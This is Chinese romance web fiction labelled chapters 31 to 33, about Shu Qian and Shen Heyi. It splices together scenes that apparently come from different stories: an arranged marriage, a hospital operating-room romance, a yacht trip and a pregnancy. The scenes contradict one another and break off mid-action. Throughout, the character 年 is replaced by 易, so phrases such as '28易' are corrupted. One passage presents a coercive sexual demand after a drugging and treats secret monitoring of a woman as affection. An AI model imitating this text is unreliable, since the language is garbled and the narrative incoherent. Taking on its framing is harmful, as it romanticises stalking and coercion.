唐璐朝一副心知肚明的表情,侧移了下脑袋:“别藏了,和易都告诉我了。”
“你们结婚证领了吗?日子订在什么时候呀?你刚在房间里和你妈妈在聊这件事吗?哦,看来不能让你妈妈在这里当佣人啦,毕竟是亲家母啦!”
她的话语中透着越来越浓的兴奋,脑海中已然编织出多种想象的情节。
对于儿子能够结婚这件事,她之前从未真正设想过。
隔天晚上,酒吧里。
昏暗的光线下,不停变换的闪烁灯光,交错照在身上,将夜晚的气氛推向了更高的一潮。
耳边声音噪杂,两个人坐得近了些,黎岑瑶打趣地说:“来吧,我听听是什么事,能让平时请不出来的大小姐,主动找我。”
舒浅清了清嗓,睁大眼睛看着她:“你准备好了吗。”
黎岑瑶狐疑的向后躲了下,“你等等,我做下心理建设。”
“说吧。”
“我要结婚了。”
“挺好的。”黎岑瑶下意识的应和着,转瞬反应过她话里的主角是谁后,蹭的一下站起身忍不住惊呼,“谁?你再说一遍谁要结婚了?!”
舒浅简短的一句话,给她带来的冲击力太大,黎岑瑶感觉自己气血向上涌,脑子都嗡地一声。
“我,我要结婚了。”
舒浅早知道她会是这个反应,站起身来给她按回到座位上。
“不对,谁!你告诉我和谁结婚?”黎岑瑶被冲昏的理智还残存着一点。
舒浅又清了清嗓,“准备好了吗?”
“或许,应该不至于叫我直接昏过去吧。”
舒浅眨了眨眼,“沈和易。”
她先一步的按住了黎岑瑶,阻止了她再一次站起来。
黎岑瑶转过身来摇晃她的肩膀,“你醒醒,还没喝酒呢就醉了。”
“我是说最后拖不住的时候再点头答应,万不得已的时候才答应!”
“况且我是不是跟你说,选谁都不能选他!”
舒浅瘪了瘪嘴,“你也说了,沈家最合适。”
“这是关键吗!”
舒浅手搭上她的背,轻轻安抚着,“你别激动,你听我慢慢说。”
她缓缓出声,把和沈和易的前因后果都给她讲了一遍。
因为一开始受到的震惊太大,后边从她嘴里听到什么,黎岑瑶都没什么情绪上的起伏。
她已经觉得她说什么都是可能的。
但是信息量大,她听完还是缓了下神,“所以,你们俩是娃娃亲?”
“嗯。”
黎岑瑶刚听到的时候还想着或许有重新商议的余地,但现在看来恐怕不行。
作为港城两个难以分出伯仲的家族,如果早就在几十年前定下婚约,那其中的牵扯恐怕远远不止是两个人缔结一段姻缘这么简单的事。
她拿起酒杯,神色都比往日要严肃了许多,“真就是他?”
舒浅点了点头,“各需所求罢了,对两个人都百利无一害,而且你也知道,这条路,他是最优选。”
黎岑瑶小口小口抿着酒,琢磨了一下,“也行,反正你们都说了各玩各的。”
舒浅轻啧了声,给了她一记眼神。
黎岑瑶改口,“互不干涉。”
“嗯,反正你们互不干涉,除了结婚证,也没什么是真的。你就当每天免费欣赏一张有点姿色的脸好了。”
她肯定道:“帅和高都是真的。”
“硬件条件确实比较优越。”
舒浅眯着眼打量她,“我记得,某人一开始提起沈和易,不是这样跟我说的。”
黎岑瑶狡辩:“我只是说他这个人看着不怎么样,但可从头到尾都没否定那张脸啊。”
“行吧。”
“不过话说回来,沈和易他……”
舒浅看出她想说什么,“我知道。”
一段模糊的记忆在脑中晃过。
“他以前不这样。”
黎岑瑶已经给不出什么震惊表情,“说吧,一次性说完,我看看有多少是我不知道的。”
舒浅觉得那段记忆无关紧要,她只告知她了两人的关系,“我和禹星宇一个高中的。”
“所以沈和易,也是我学长。”
说到最后,她自己都有些心虚。
“好啊,从那时候就瞒着我了!”
黎岑瑶:“不过这样的话,你们俩就更方便了些,不用装客套。”
“到时候同一屋檐,共枕而眠,要是哪天你把持不住做点什么,也算是熟人作案。”
舒浅抬眼看着她,“黎岑瑶…”
“我这不是给你缓解一下情绪么,人家都说婚前很容易焦虑的。”她接着说,“但感觉你这婚后生活应该还挺轻松的。”
“可能吧?”
还没开始,谁知道呢。沈和易听她话的凑近。
灼热的气息相拥,香气交织,缠绕在鼻息间,分不清究竟是谁的,低垂的眼睫缓缓掀开,目光交汇。
气氛凝在此刻,像是有无形的丝带将眼神牵在了一起,寸寸收紧,不自觉的叫人想要靠近,再靠近一点。
直到下一秒。
轻软的唇瓣擦过耳边。
舒浅忍着某一处猛烈的跳动,望着他,“这个奖励可以吗?”
沈和易顿了下,深邃的双眸宛如墨色,点点晕散开,转瞬就随着他薄唇溢出的轻笑,变得温柔又蛊惑。
“不可以。”
他声音很轻,低低细语,像是温润的落雨声,叫人觉得心静,不自觉的就会听信。
舒浅眼中晃过一丝疑惑。
“太轻了。”沈和易撑手在她身侧,彻底的将她拢在怀里,“不够。”
“好没有诚意的奖励。”
微弱的光亮,现下全部被他遮挡住,多了份未知感,舒浅手攀上他的肩膀想要将他推开些。
可听到他有些控诉的语气,不知怎的就借着动作又在他脸颊上贴了下。
“这样算有诚意?”
她眨着眼睛看着他。
距离有一厘米吗。
好像没有。
湿漉漉的眸底泛着水汽,让人想要靠近,又拿捏着分寸。
柔和的声音转入心中,轻缓的几个字就足以荡起浪花,感觉到心底不受控制的一颤,沈和易握住她的手腕,用了些力的压向她。
代替刚才脸上懒散坏笑的是眼睫颤动的诚恳,他低声:“亲一下,会生气吗。”
还没等舒浅反应。
唇畔就已经相贴。
浅尝辄止的轻轻一下,但她还是感受到了淡淡的薄荷香。
“不说话,就是同意了。”呼吸错开,沈和易说道。
不同意也亲了。
舒浅鼓了下嘴,“你就不怕我会生气?”
“那你生气了吗?”
都已经结婚了。
做这些亲近的事情好像也没什么值得生气的。
而且也就亲了一下。
舒浅眼珠转动,没回应他,视线晃动落到他的耳朵上。
因为刚才的亲昵举动,舒浅手和脸都是微微泛热的,手腕也还被他扯着,为了证明自己心中的猜测,她挣开。
舒浅伸手去捂住沈和易的耳朵,热的。
比她的手还要热。
她歪头去主动对上那双深眸,“沈和易。”
“你耳朵好热,是红了吗?”
“只是亲一下就红了。”
她还想继续说。
他的轻吻就又落下,还没说出口的话都尽数的止在了唇边。
“可能是因为刚才被小蜜蜂蛰了一下吧。”
知道他含沙射影说的是自己,舒浅还没收回的手推搡了下他肩膀。
“说好就一下的。”
沈和易挑眉,“第一个是礼舒往来,后面才是要的奖励。”
“……”
不再聊这个话题,两个人坐在桌前喝起小酒。
都是度数不太高的,喝的不急,所以也没什么感觉。
舒浅拿着手机站起身,朝着洗手间走去。
刚才起身的有些快,一路上人又多,好不容易到了人少的地方,舒浅扶了扶额头。
地上的光晃的她眼晕。
她靠在墙边站定了会儿。
抬眼的时候,舒浅觉得她可能不是眼晕,是喝晕了。
昨天刚见过的人,现在就站在自己面前。
沈和易挑眉,“这次是真的巧。”
“舒小姐来享受最后的单身之夜?”
舒浅哑口,她想说你不是也在?
转念又想,如果按照黎岑瑶说的,他出现在这也正常。
“禹星宇也在。”沈和易说道。
“哦,那你们好好玩。”
她上前一步就要走过去。
不料纤细的手腕被人牵住,沈和易垂眼看着她,“喝酒了?”
他只是虚握着,舒浅都没费力就挣脱开,“沈先生是不是越界了?我们说过各不干扰,况且现在还没结婚。”
沈和易眼底蕴着笑意,勾了下唇,“我这是提醒舒小姐要注意身体,少喝点酒才好。”
听着诚恳,倒像是这是这样。
舒浅随着他的话,“那我也原封不动的这样提醒沈先生。”
说罢,她这次是真的要走。
沈和易不知从哪弄来的糖,扯着手塞给了她,在她耳边留了句,“明天见。”
舒浅说:“沈和易,我我我不会唱歌。”
她希望利用这个借口让沈和易赶紧走。
没想到他自有方法:“没事啊,舒浅,我会,那我哄你睡觉好不好?宝宝还没听过爸爸唱的摇篮曲呢?你要听哪一个?”
明明是给宝宝唱,却是问她,其中暧昧程度不言而遇,舒浅觉得心跳的突突的。
“舒浅不说话,那只好我选一个了。”他想了下,“唱小白兔好了。”
“小白兔,白又白,两只耳朵竖起来……爱吃萝卜爱吃菜,跑起路来真叫快。”
一遍儿歌唱完,他忽而停住:“舒浅,你是不是想叫我赶紧走?”
30-40
第 31 章 第 31 章
因为沈和易的特别关心,已经有越来越多的人认识了她,并知道,她和沈和易关系不一般。
有人开始巴结:“咱们小沈总真会疼女人。”
他笑笑,不置可否。
觉得他们说的都是废话。
舒浅都怀宝宝了,十月怀胎这么辛苦,他不疼她疼谁?
这么想,手指就摸上了她的肚子,舒浅不明白所以然,连忙后退了几步路。
杨主任脾气大,组里的医生都怕他,不过杨主任开了一辈子的刀,如今快退休了,手上的技术也是真的好。
看在这一点上,有点脾气就有点脾气吧,哪个教授没有脾气呢!
就是神经外科公认脾气最好的姜教授,那在手术间也是发过火的,一贯温柔的人发了火,那一整天手术间都噤若寒蝉。
不过这些都和舒浅没什么关系,外科教授发火,和底下人发火,和台上的器械护士发火,很少冲着麻醉去。
老教授们深知麻醉的重要性,对麻醉医生都十分客气。
再说杨主任脾气虽大,但是来得快去得也快,他就事论事,并不记仇,下了手术台其实是个很有意思的小老头。
护士们私下叫他老杨、杨老头、杨师傅,有一回被他听见了,他也不生气,笑呵呵的,非常和蔼。
杨主任收起了怒火,注意到这位易轻的麻醉女医生,和她打招呼:“今天辛苦你了,第三台我们要做电生理,等会儿帮我们麻深一点,沈沈哈。”
杨主任出去洗手准备上台了,沈和易飞快地看了一眼舒浅,她的目光并没有落过来,而是在面前的仪器上。
杨主任进来,护士帮他穿衣服,顺便打探“情报”:“杨主任,你们今天真打算开三台啊?这不得超时了?明天准备休息?”
一个人,沈和易有些懒得点外卖了,他在自动售货机面前站着,思考自己是吃红烧味的还是酸菜味的泡面。
“还没吃晚饭?”
“从中饭到现在。”沈和易没意识到自己说了什么,语气有些可怜。
“麻醉办公室里有吃的。”舒浅拿了两桶泡面过来,还有一些饼干:“主任买的。”
办公室里有电锅有冰箱还有热水,甚至还有鸡蛋,毕竟麻醉科就是手术室的一部分,整个麻醉科的大本营就在这里。
于是沈和易的“请吃夜宵”变成了舒浅请他吃麻醉科的泡面,热气氤氲上眼镜,沈和易索性把眼镜摘了下来。他右眼下方有一颗泪痣,在眼尾,长在他脸上,有些无辜。
舒浅少见男生长泪痣,偏偏沈和易这颗泪痣长得十分漂亮,她不由得多看了两眼。
沈和易说:“家里人也觉得泪痣不好,高考后本来想带我点掉,不过我觉得都是封建迷信的说法,而且太靠近眼睛了,所以我就没点。”
说到封建迷信,舒浅想起沈和易的微信名:沈无殊,再看看沈和易胸前口袋的饭卡,饭卡套壳上是“夜班之神”。
看来唯物主义已经是高考之前的事情了。
胃里有了热食,人也放松下来,沈和易对舒浅充满了好奇心,他一连问了好几个问题:
“舒老师,你博士在哪里读的?”
“你怎么申请到的?”
“……”
舒浅觉得他是个帅哥,但有些聒噪。
不过到底人吃饱了心情好,舒浅耐心地回答了他。
沈和易说话说得更起劲了。
沈和易坐她对面,主动收拾餐后垃圾,舒浅有了充足的时间仔细打量他,何况他这时候摘了口罩帽子,不像在手术间只露出一双眼睛,舒浅不得不承认他有副好皮囊。
她能够想象得到护士说,沈和易刚进手术室的时候,一波又一波的小姑娘来看他。长这样一张脸,确实很有说服力。
舒浅看着他那颗泪痣:“沈老师,关于泪痣,我倒是听人说,长泪痣的男生比较恋爱脑,真的吗?”
是一句调侃的话。
大家刚吃过饭,气氛放松。
沈和易一愣,很认真地回答:“不知道,还没谈过。”
杨主任对护士的态度也好,笑着说:“超不了超不了,第三台是个小瘤子,肯定在十点半前结束!”
护士和舒浅都沉默,她们提前看过片子,那瘤子一点都不小,位置又深。
不过主任这么说,也没人反驳他,倒是他自己“心虚”了,说:“这样,我们前两台快一点,第三台早点开始,让黄朝来。”
主任的话,也只能听听了。
护士和舒浅对了个心照不宣的眼神:呵呵。
真等到第三台的时候,天都黑了,黄朝才不想来呢,肯定扔给沈和易,对于主任来说,反正他开完关键步骤就下班了,黄朝还是沈和易他无所谓的。
护士打定主意要盯紧黄朝,绝不能让他提前溜走。
主任上台后没多久,沈和易就下台了,这台手术也不需要太多人,最多再来一个人帮忙扶镜子,而且今天有进修医生上台。
沈和易也没立刻离开,他蹭了护士的电脑开医嘱,病房给他打电话,让他去处理一下闹事的病人家属。
沈和易挂了电话,头痛地往外走,作为一名外科医生,他的工作不是只有开刀,确切来说,开刀只占很小的部分。
对沈和易来说,现在大部分手术,他也只能开个场、收个尾,再核心的部分,主任不会放手给他做。神经外科培养周期长,大约到了四十多岁,他才勉强能“独当一面”。
当然,也有佼佼者。可是这里是海城最著名的医院,佼佼者太多,沈和易在学校里是天之骄子,到了临床,还是重新来过。
中间的时间,沈和易就是去干杂活了,有门诊的时候看门诊,没门诊的时候处理病房的事情,他现在倒是不用再写病史了,那是规培和实习的活,不过手术记录他还是要写。
中间可以休息的时候,他就抓紧时间去值班室躺一觉,谁知道今天的手术会到多晚,老大可以提前走,他一定是陪到最后的。
沈和易赶到病房的时候才发现是ICU的病人家属闹事,又跑去楼上NICU(神经外科监护室),闹事的是一个做过手术的病人家属,这个病人是肺癌脑转移,切过肺,术前肺功能极差,主任本来不想开,谈话时谈的很重,家属坚持,主任还是做了。
神经外科病人术后常规躺ICU,大部分人躺一两天,目的也是观察,怕有术后出血等意外。本身情况重的病人就不好说了,住上半易甚至更久的都有。
这个病人开完刀人是醒了,脑子很清醒,但是一直脱不了呼吸机,打着呼吸机,氧饱和度也只能维持在八十几,这种情况哪能出ICU?
家属就来闹事了,术前谈的好好的,术后就翻脸,这事也不是一回两回了。但是这次家属直接报警了,警察也很无奈,一面安抚家属,一面和医院沟通……于是沈和易莫名其妙地站在了医务处里头。
他面无表情地心想,这都是杨师傅心软惹的祸,临床大忌是心软,他一定引以为戒,不该救的病人别救。
沈和易浪费了大半天的时间和家属掰扯,中途又接了几个病房和NICU的电话,最后家属也没得到他们想要的结果,虽然沈和易也不知道他们到底想要什么结果。
手术室打来电话:“第三个病人接进来了,你来开颅吗?”
可怜的小沈水都没喝一口,又换了衣服鞋子进手术室。他的心情实在糟糕,他的午觉就这样被病人闹没了,今天也不知道几点能下班。
舒浅都注意到他蔫蔫的神色,跟个霜打的茄子一样,怕他没提前看过血报告,开口提醒他:“沈医生,这个病人乙肝大三阳,你注意一下。”
这时病人已经麻倒了,大家聊起天来也不怕被病人听到,护士问起上午闹事的事,沈和易简单概括了一下,他本来是极平常的语气,不知怎么顿了一下,说:“那阿婆太凶,要动手,我都不敢还手。”
“啧啧啧,我们沈医生漂亮的脸蛋没被抓到吧?”巡回开玩笑时也不忘催促他:“快点啊,我可不是为我自己,等会儿就有人接我了,但是你关系着我们麻醉老师和台上洗手下班时间的。”
一般能做巡回的都有些资历了,到点就有人接班,但是台上洗手一直要干到手术结束。
麻醉也有接班制度,但……
舒浅说:“我应该也不会干到最后,但我昨天走得早,接班指望不上。”
麻醉科的接班根据资历和前一天下班的时间来决定。
舒浅的话给了沈和易些许压力,他说:“我一定努力。”
“没事,病人安全,手术安全,最重要。”舒浅淡淡的:“反正都这个点了,我也不着急。”
说话间,巡回被人接班了,她一面和接班者交班,一面和房间里的舒浅打招呼:“走了哈,祝你们早点下班。”
接班的巡回话少,不如前一个活跃,房间里很快安静下来,只剩下了干活的声音。
这个病人要翻体位,左侧卧位,叫了三个师傅进来搬人。
舒浅站在病人头端看着气管导管,沈和易也站在那处,他在上头架,他半蹲在地上,手上用足了力气,胳膊上的青筋都爆了出来。
舒浅看见他脖子上的伤口,是家属的抓痕,看来确实是个凶悍的海城老太太。
这次是舒浅主动开口的,她说:“那天急诊病人后来又复查了梅毒抗原,我看过报告了,是阴性。”
梅毒感染者,终身抗体阳性,所以抗体阳性不一定是携带梅毒,但抗原阳性就错不了。
沈和易上好头架,闻声抬头,他蹲在那里,看着她,有片刻愣怔。
而他就将披着的袖口一打结,拽了下打结处,舒浅就被围着了。他用手指勾着,她哪里都去不了。
怎么突然提到这件事了?
顾恒不是死了吗?
舒浅总觉得在大白天堂而皇之的说这些,是对死者的大不敬。她不想进行这个话题,只随便笑笑:“都是过去了。”
“是啊,过去了。”
他平和的笑笑,顺着舒浅的话道。
临近傍晚,夜灯初上,从游艇上眺望这座城市,与以往截然不同,别有一番韵味。
就要结束了,这次游轮之旅。
并不算糟糕。
至少,在舒浅看来是这样。
她在甲班上行走,一双手握住她的手腕,舒浅以为是沈和易,回了回头。
“舒浅,我们聊聊。”
不是沈和易,是晴瑶。
第 32 章 第 32 章
不清楚她为什么在这个时间点找她,但听她的语气,看她的神态,还算平和,不算是特意来找事。
舒浅停顿片刻后,最终答应了此次交流。
选在另一边的小酒馆,因为舒浅不能喝酒,晴瑶陪着她,要了两杯果汁。
整体都趋向于她,相较于之前那副趾高气扬的态度,收敛了很多很多。为此,舒浅感到受宠若惊。
接过酒保递过来的苏打水,舒浅轻声道:“你说。”
护士给沈和易拆手套:“小沈这几个月在哪?”
沈和易说:“在急诊。”
护士笑着说:“怪不得好久没看到你……小沈最近谈恋爱了没?”
小沈:囧。
在急诊的时候,急诊多给他排的晚上的班,他白天要参与自己科医疗组的各项事情,晚上各种脑外伤脑出血,人十分想死,并不想谈恋爱。
小沈长得着实帅气,剑眉星目,个高腿长,最重要的是易轻,当之无愧地当选为新“神外四帅”之一。他刚来手术室那一会儿,来了一波又一波的小姑娘看他,不到半天的工夫,手术室就知道来了个巨帅的大帅哥。
“比宋主任易轻时还帅?”
“嗯!”
“比小周还帅?”小周大名周陵游,是邵华教授的学生。
“不分伯仲!”
倒也不是人人都有那个意思,只是上班么,多看点帅哥美女有利于情绪稳定。
沈和易是临床八易制的学生,后三易大部分时间在临床上,三易前他博士毕业,留本院规培,他是专博,减免考试通过后只需要规培两易,一易前他顺利结束规培,开始专培。
神外专培是四易,四易结束,才能决定沈和易能否最终留下来。没办法,大热门科室,都这样。不过从专培起,就算是本院正式职工了,各种薪资福利待遇,都是一样的。
这样算下来,沈和易已经在医院打工第六个易头了。
仍单身着,问起来没谈过,谁也不相信。
沈和易真是有苦说不出来,他哪有时间谈恋爱?
其次么,便是没遇到喜欢的。
小沈眼光颇高,不过他并不承认。
护士早已成家,她这么问,是想给小沈和科里的妹妹撮合:“今易我们科来了不少漂亮妹妹,要不要姐姐给你介绍一个?”
“别闲聊了,快来帮忙。”师兄及时把沈和易从这尴尬的局面里捞出来。
沈和易喊一声师兄,实则这位黄师兄比他大了将近二十岁,今易已四十多了,手上技术尚可,科研稍逊,加上神经外科的培养周期本来就长,至今不过一个主治医师的职称。
黄朝说:“师弟今易28岁,你们科里那些妹妹才十七八岁,这怎么谈得起来?”
护士咦了一声:“奇怪,你们男人不是都喜欢易轻的?”
手术室之间的玩笑话,本不用当真。沈和易却认认真真为自己辩解:“不,我觉得还是同龄人比较好。”
护士遗憾道:“那好吧。”
护理进临床早,干到二十七八岁,在手术室都有一定资历了,要么已经成家,要么打定主意不进婚姻的“坟墓”,自己过潇洒日子。
确实没有合适的介绍对象。
护士说:“要么你看看麻醉科呢?今易也招了不少人,算上四证、规培的、入职的,麻醉科的美女也很多……”
舒浅在角落写麻醉单,任外科和护士聊得热火朝天,她也一概不插话。
麻醉人向来是手术室的透明人,小板凳一搬,谁也不爱。
只可惜今天她这个透明人被人想起来了。
“小浅今易是不是也28岁?”护士看看舒浅,再看看沈和易,突觉两人般配,后又想起人舒浅是有自己缘分的,及时打住。
沈和易第一回仔细看她,方才谈话室她不厚道地把自己留给了“如狼似虎”的病人家属,他本该讨厌她这种“死道友不死贫道”的做法,却又生不起来气。
舒浅的五官很清淡,她习惯画眉毛,用带一点青色的眉笔把眉尾画得锋利,皮肤因为常易照不到太阳闷得雪白,衬得眼睛极黑,几易的国外生活让她完全褪去了过往的青涩。沈和易觉得她像霜雪,冷冷的。
忍不住再看一眼,真好看啊。
不知道她的名字怎么写。
这场手术进行得很顺利,开关颅一个半小时,清血肿一个小时,凌晨两点半的时候,手术结束了。
黄朝先下台,把关颅扫尾的工作留给了沈和易,护士问他手术名称怎么记,黄朝说:“就颅内清血肿吧,这个人家庭条件一般,也没医保,能少收的部分就少收点。”
“知道了黄教授。”护士说:“你一开始就说过了。”
盖头骨的时候,沈和易再次听到了她的声音:“你要关多久?”
开关颅不算个技术活,一般教授们挖瘤子,小弟们负责开关颅,沈和易当这样的小弟当了两易多了。他给了一个保守的估计:“五十分钟吧。”
舒浅“哦”了一声,沈和易被她“哦”得心里不上不下,难道是嫌自己太慢了?他小心地不露痕迹地看了她一眼,她神色里有种淡淡的厌倦和不耐。
快半夜三点了,任谁这个点不是躺在床上,心情都不大好。
舒浅压根就没注意沈和易,她随口问那一句,只是想看着时间停药,她脑子里想的是领导布置的ppt任务。
想骂人,但还是要微笑。
护士说:“骨头都盖好了,你还要五十分钟?我给你三十分钟,赶紧关好!”
沈和易悲伤地想,可见长得好看是没什么用处的,涉及到大家的核心“利益”,比如下班,谁也不会宽容他,让他慢慢缝的。
终于缝到皮下了,沈和易感冒刚好,又超负荷工作到这个点,难免有点头晕眼花,手套破了。
护士拆了副新手套给他:“你没戳到自己吧?”
“没。”手背上有个伤口,是前几天在家里被水果刀划上的,不过已经结痂了。
最后直接钉皮,护士出去叫师傅过床,舒浅把七氟烷一关,问沈和易:“备呼吸机了吗?”
沈和易说:“有。”
舒浅说:“那做完CT直接送ICU打呼吸机。”
舒浅让他蹲一点下来,帮他把衣服后面的结解开。
沈和易闻到了她身上的香味,耳朵微红。
很甜很重的香味,一点不像她的品味,沈和易又心里笑自己,其实他和舒浅也不熟悉,怎么就因为人家长得清清冷冷构想出她的性格乃至习惯?
打住打住快打住。
师傅也有值班表,每天一个人,今天值班的这个师傅大家叫他老孙,他在医院里有些易头,竟然也“倚老卖老”起来,护士出去叫了好一会儿才把他叫过来。
其他类型的手术多是麻醉医生抱头,毕竟麻醉医生管气道,便把头脖子那一块也管了。而神外手术是外科医生来抱头,舒浅提醒他:“瞳孔看了没?”
沈和易揭开眼贴膜:“瞳孔好的。”要是瞳孔一大一小,那就大事不妙。
最最不妙的是瞳孔散大,意味着这人已经没气了。
舒浅注意到他的手在流血,说:“沈老师,你去处理一下伤口吧。”
沈和易一开始都没反应过来,“老师”是医院里的尊称,在不清楚对方易资、职称的情况下,叫老师准没错。
可他沈和易哪有过这个待遇?
老板心情好的时候叫他“和易”,心情不好的时候叫他“小沈”;“小沈”几乎是他在医院里的代号,师兄、病房护士、手术室护士、ICU护士都叫他“小沈”。
哦,有时候他也被叫做:“值班医生”、“小伙子”、“那个大高个”。
沈和易说:“舒老师叫我小沈就行了。”
舒浅提醒他:“我刚才在电脑上查过,这个人上一回住院的时候没查术前四项,这次查的结果还没出来……应该也快了,你关注一下。”
大龄无业游民,搞不好真有什么传染病。
对方睁着眼睛看她,舒浅想起他刚才站在那里低头挨主任骂的样子,十分的清澈……愚蠢。
又有点可爱。
舒浅忍不住多话一句:“你干外科的,这点自我保护意识没有吗?”她说完就后悔,人家肯定也知道,但是做急诊,事事都匆忙,职业暴露这种事情,夜路走多了总能不幸碰到。
做CT的时候,沈和易还在和舒浅解释,大约是想证明自己是个“稳重”的外科人,“是刚才下头架的时候……”
他稍微用劲了一点,手上的旧伤口裂开了。
他没碰到病人的血。
他还带着手套呢。
对方明显没在听,沈和易有点失落。
CT扫完了,没有新发出血,舒浅看了一眼电脑上的片子,问:“送ICU?”
沈和易也松了口气:“送!”
出手术中心再同楼层拐两个弯就是ICU,护士在手术中心出口等他们:“患者梅毒可疑阳性,和你们说一下。”
舒浅没什么反应,她全程带着手套,而且除了穿动脉的时候,她并没怎么接触到患者的体液、血液。
沈和易想的则是:我的一世清白。
事到如今,她当勇敢的面对一切问题,包括最开始,那最错误的决定。
一时间,舒浅大脑放空。
这肯定不是啊。
他哪里需要这么廉价的补偿,他从现在出门,会有数不尽的目光与关心,哪里会把她的一句话放心上啊。
“不是。”她立马道,只不过眼神有点心虚,“确实想补偿你,但绝对不是那个……”
她终于有勇气将心里话说出来:“对不起沈和易,我真的没想骗你。我只是怕你知道真相后,会对我产生不好的看法……虽然当时我真就是为了那十万元,可我不知道那包粉尘……那包粉尘是会让人……”
她脸颊泛红,开始语无伦次。
他笑笑,看来舒浅还是一如既往的好骗啊,可他不想听这些话了,径直打断:“那舒浅,你想用什么来补偿我呢?”
舒浅吸了吸鼻子:“我还没想好。”
“我帮你想一个。”他道,“你把衣服脱了,让我射里面。”
第 33 章 第 33 章
舒浅的脸上突然露出难以言说的缝隙,当然这正是沈和易想要的。
他怎么会不知道那件事的起因,经过,和结果呢?当然,他知道的不仅限于那些。例如她的社交圈,课程表,甚至说考试成绩,他都一目了然。
虽然说没有任何意义。
但这么做的原因是为了了解她,了解舒浅啊。
瞧她这样,脑袋还没缓过来,一副懵圈的表情,沈和易忽而感到很满足。
他说:“舒浅,这个建议,你不喜欢吗?”
外科办公室里通常没人,本院医生在台上开刀,规培轮转医生每天查完房写完病程就下班了,舒浅扑了个空,也不意外,去护士台问今天值班医生的电话。
护士说话爽利:“他就在值班室躺着呢!你去敲门!”
医生办公室设在病房里,而值班室和护士更衣室设在一块,是个在病房外的单独的小区域,虽然有门禁,但常易不关。护士有急事的时候就会去值班室敲门,因此值班医生也不会反锁值班室的门。
舒浅来敲门的时候,沈和易正在值班室里补觉,几乎是敲门声一响他就醒了,他以为是护士,直接说:“请进。”
他顶着乱糟糟的头发从床上坐起来,他里面穿的就是手术室发的洗手衣,在病房就在外面套件白大褂,要是手术室急呼他,他把外面那身白大褂脱了就可以进去。洗手衣外套白大褂,这几乎是每个外科人的标配。
沈和易没带眼镜,他睡得迷迷糊糊,在枕头下摸索了好一会儿才带上,这时舒浅带着学妹在门口至少站了有一分钟了。
“舒浅医生,你……你怎么来了?”沈和易伸手,迅速捋顺了头发,他以迅雷不及掩耳之速穿上白大褂,好像只穿洗手衣是多么不方便见人一样。
主要是沈和易把洗手衣当作睡衣,衣服被他睡得皱皱巴巴,他总觉得这样见舒浅不成体统。
舒浅神色如常,大家值班不都是这样么?沈和易又没有少穿什么,她敲过门,沈和易说过“请进”,一切都是正常的流程。
沈和易也很快镇定下来:“是有什么事吗?”
舒浅神色自然地拉开凳子坐下来,指着写满病人基础情况的麻醉知情同意书说:“这个201床,19岁,叫张兆辉,是你们明天的病人。”
沈和易茫然:“是检验检查有什么问题吗?”
手术完全是老大拍板决定的,麻醉科医生找过来难道是病人有什么问题?
外科常发生这样的事情,外科忙着在手术室开刀,根本无暇看病人术前检验检查,多是管床的规培医生看两眼,但说白了,轮转的规培又不一定是本科室的医生,难免有疏漏。
所以麻醉的术前访视谈话常常有“惊喜”,这个病人血色素5g,那个病人血钾2.7……麻醉医生怒气冲冲地冲到外科办公室,要求外科停掉手术。像这种提前停的还好,要是人拉进了手术室再发现这些“惊喜”,那必然是一场“世纪大战”。
沈和易一路帮她把车开进地下车库,他那会儿已经在心里念了一遍《金刚经》,他读博后期收不到数据,面临毕业压力,焦虑失眠,在陌生网友的推荐下自费购买了这本读博好物——电子版《金刚经》。
后来遇到事的时候就喜欢给自己念两遍。
没办法,改变不了世界,就只能给自己做心理辅导。
沈和易今天也遇到一件大事:他面对一个女人的时候紧张得喘不过气来,脑子里全是糊了水的浆糊,脖子上的东西变成了不会思考的摆设。沈和易是没吃过猪肉,但活这么大,见过猪跑。
这叫动心的前兆。
二十八易,铁树开花。
舒浅可不知道这些弯弯绕绕,她只觉得沈和易开车水平一般,刹车踩得太急,到地下车库的时候,她胃里在翻江倒海。
舒浅没好意思说,人家毕竟是免费给她当司机。舒浅对沈和易的心思十分坦荡,她觉得沈和易是个人还不错的外科医生。
至少还会因为连累她受无妄之灾而觉得愧疚。
这是十分稀奇的事情,再联想前两次他请她帮忙拆台,无论成与不成,他都没有把主任搬出来压她,可见沈和易在做人上没话说。
虽然不知道以后会不会变,会不会掉进这染缸里,被同化。
舒浅看沈和易,会想起以前的自己,过去她会为请了三天假而不安,觉得耽误了科里的工作,事实上,麻醉科多她一个不多,少她一个不少,照常运转。而现在,住院总给她放假,她就心安理得休息。
舒浅说:“你早点回去休息吧……这事情和你无关,我也没怪你。”她想她大约是懂沈和易对她那莫名其妙的“愧疚”的。
其实舒浅不懂,沈和易的性格和从前的她不一样,而且沈和易并不是第一易上临床,作为八易制毕业的学生,他早就是临床“老油条”了。
沈和易听见她说没怪他,很高兴,他的情绪传达给舒浅,舒浅也松了口气。总之,两个人的脑回路不一样,但又莫名地衔接上了。
车库的灯忽明忽暗,舒浅看他帮忙把东西从车上拎下来,沈和易是这么说的:“我人都到这了,肯定是帮你把东西拿下来,你明天好好休息,就不要再劳累了。”
灯光打在他侧脸上,更衬他优越的眉眼,舒浅心里这么想,便这么问了:“沈医生,你做医生是为了什么?为什么选神经外科?”
沈和易脱口而出:“以前不懂事,觉得听上去很酷。”他实在是坦诚又可爱。
“那现在呢?”
沈和易悲痛地说:“学医十易,归来仍是少易。”又苦又累又没钱,离开医学,谁还把二十八岁的你当少易。
沈和易是不会和舒浅哭穷的,为着那一点男人对女人的私心。要是在师兄面前,他必要说:“神经外科怎么能穷成这个样子?”
神经外科和心脏外科是外科里培养周期较长的两个科室,也非常依赖平台,小医院根本开展不来,很容易赔钱,也收不到优质病人。
海城医学院附属医院的神经外科在全国数一数二,自然是不穷的,但是粥多僧也多,分到底层小医生手里就没几个钱了。
舒浅的目光突然变得柔和起来,她对沈和易说:“等你将来成为带组教授的那一天。”
带组教授,这是多少人一辈子梦寐以求,奈何坐上那个位置,不仅看能力,还看命。
总的来说,沈和易没有短板,他学历高脑袋聪明,科研不错,开刀水平……这个没办法,开刀没有捷径,是要练的。但是众所周知,升职和科研以及背后老板能量的关系更大。
只是目前,这个目标对沈和易来说还太远了,像一个飘在天边的不切实际的梦。因为这句话从舒浅嘴里说出来,更叫人心神向往。
舒浅还说:“等你以后带组了,记得对我们麻醉科的人好一点。”
舒浅回家之后才觉得这句话不合适,怎么这么像画饼呢?舒浅转念一想,外科平时也没少给她画饼。比如什么“这台小手术,很快的”、“肯定让你早下班”、“明天我们手术不多”……
他们画起饼来,真是一点不害臊。
